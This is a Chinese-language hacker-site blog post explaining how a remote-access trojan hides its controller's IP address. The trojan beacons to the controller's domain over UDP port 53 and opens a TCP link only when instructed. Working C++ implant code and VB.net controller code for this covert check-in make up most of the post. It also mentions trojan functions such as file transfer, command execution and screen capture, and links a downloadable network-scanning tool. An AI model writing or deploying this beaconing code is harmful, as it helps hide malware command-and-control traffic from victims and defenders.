浅谈木马如何隐藏上线IP地址

浅谈木马如何隐藏上线IP地址

黑客安全访客2021-10-11 23:03:003363A+A-

木马也叫RAT,或者叫远程管理软件,关于如何隐藏IP地址,应该有不少人在研究,比如ROOTKIT实现文件隐藏、进程隐藏、网络连接隐藏等等。本人才疏学浅,没有深入研究过ROOTKIT,只是谈谈应用层的技术。

下面给出流程图:

解释一下流程图的原理,UDP网络协议是面向无连接的,和TCP协议的三次握手不同。

用系统自带的查看网络连接的命令 netstat -ano 是查看不到远程IP地址和端口的,用第三方软件或者工具也同样查看不到,如以前的冰刃、360网络连接查看器等等。

下面结合源代码和效果图来说明下IP地址是如何隐藏的。

被控端关键源代码(C++):

DWORD WINAPI ConnTask::InitUdpConn(LPVOID lpParameter)
{
       WSADATA WSA;
        if ((WSAStartup(MAKEWORD(2,2),&WSA)) != 0)
       {
              printf("[e]WSAStartup Error!\n");
       }
       boolean IsUdpConn=true;
       int timeout=1000;
 
       while(IsUdpConn)
       {
              try
              {
              Sleep(UdpTime);  
              SOCKET sockClient=socket(AF_INET,SOCK_DGRAM,0);
              setsockopt(sockClient,SOL_SOCKET,SO_SNDTIMEO,(const char*)&timeout,sizeof(int));
              setsockopt(sockClient, SOL_SOCKET, SO_RCVTIMEO, (const char *)&timeout, sizeof(int) );
              SOCKADDR_IN addrSrv;
               //域名上线
              struct hostent *host = gethostbyname(g_remote_host.c_str());
              addrSrv.sin_addr.s_addr=inet_addr(inet_ntoa(*((struct in_addr*)(host->h_addr))));
              addrSrv.sin_family=AF_INET;
              addrSrv.sin_port=htons(53);
 
              u_long ul=1;//代表非阻塞
              ioctlsocket(sockClient,FIONBIO,&ul);//设置为非阻塞连接
              string sendStr = "0x4869";
              sendto(sockClient,sendStr.c_str(),strlen(sendStr.c_str())+1,0,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));
 
              u_long ulu=0;//代表阻塞
              ioctlsocket(sockClient,FIONBIO,&ulu);//设置为阻塞连接
              int len=sizeof(SOCKADDR);
              char recvBuf[14]={0};
              recvfrom(sockClient,recvBuf,14,0,(SOCKADDR*)&addrSrv,&len);
 
              string recvStr=recvBuf;
              if (0 == strncmp(recvStr.c_str(), "4F70656E546370",14))
              {
                     IsUdpConn=false;
                     InitTcpConn();
                     closesocket(sockClient);
              }
              SYSTEMTIME sys;
              GetLocalTime( &sys );
              printf("udprecv time: %02d:%02d:%02d ",sys.wHour,sys.wMinute, sys.wSecond);
              printf("%s\n",recvStr.c_str());
              closesocket(sockClient);
             
              }catch(...)  //捕获任意类型异常
              {
 
              }
       }
       WSACleanup();
}

控制端关键源代码(vb.net):

 Private Sub InitUdp()        
 Try
            Dim udpServer As New UdpClient(53)'53号端口是DNS 协议端口,隐蔽性好。
            Dim groupEP As New IPEndPoint(IPAddress.Any, 53)
            While (True)
                Dim buffer As Byte() = udpServer.Receive(groupEP)
 
                Dim revStr As String = Encoding.UTF8.GetString(buffer, 0, buffer.Length)
                Dim ipaddr As String = groupEP.Address.ToString()
                Dim MessageIn As New gDelegate(AddressOf displayTxt)
                Me.Invoke(MessageIn, ipaddr & " " & revStr)
                       
                udpServer.Send(Encoding.UTF8.GetBytes("OpenTcp"), 7, groupEP)
 
            End While
        Catch ex As SocketException
            Debug.Print(ex.ToString())
            'MsgBox(ex.ToString())
        Catch e As Exception
            Debug.Print(e.ToString())
            'MsgBox(e.ToString())
        Finally
 
        End Try
 
    End Sub

上面的代码只是用来测试用的,真正的木马源代码会有少量的变化。

下面是测试程序效果图。

被控端:

控制端:

控制端我这里用的是内网的IP地址,用公网IP地址也是一样的效果。

到了这里有人会问, 最后你这里还是会用TCP 来建立连接, TCP连接就会有网络连接的远程IP地址。是的,没错,确实能看到网络连接、IP地址也能查看到。这样是不是就没有必要之前的步骤了, 我个人看法是有必要; 为什么? 因为绝大多数木马都是开机自启动的, 自启动后控制端并不一定处于监听状态。

可能1个小时,也可能一天或者一个月。只要控制端不处于监听状态,被控端就一直查不到远程的IP地址。还有一个步骤这里说明下,当控制端发送完指令 后,比如文件上传下载、执行命令、屏幕捕获等等木马常用的功能, 当发送完这些指令后, 控制端可以随时发送断开 TCP 连接的指令,让被控端再次进入UDP发送消息的流程中,这样 IP 地址再次隐藏。

最后是高潮部分。

看下远控程序的实际效果图:

作为观看这篇文章的奖励, 我有一个小礼物送给大家。

xmap

主要功能:获取局域网在线IP地址,MAC地址,MAC设备制造商.

使用方法:

方法一:直接命令行下执行xmap.

方法二:xmap 本机IP 本机子网掩码

注意:参数中间都有空格。

效果图如下:

下载地址:

链接: http://pan.baidu.com/s/1jGBwbkE 密码: b8p9

点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 3条评论
  • 夙世等灯2022-06-05 04:32:16
  • dr=inet_addr(inet_ntoa(*((struct in_addr*)(host->h_addr))));              add
  • 冬马山柰2022-06-05 12:35:58
  • 文章的奖励, 我有一个小礼物送给大家。xmap主要功能:获取局域网在线IP地址,MAC地址,MAC设备制造商.使用方法:方法一:直接命令行下执行xmap.方法二:xmap 本机IP 本机子网掩码注意:参数中间都有空格。效果图如下:下载地址:链接: http://pan.b
  • 莣萳傻梦2022-06-05 08:56:08
  • ally         End Try     End Sub上面的代码只是用来测试用的,真正的木马源代码会有少量的变化。下面是测试程序效果图。被控端:控制端:控制端我这里用的是内网的IP地址,用公网IP地址也是一样的效

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理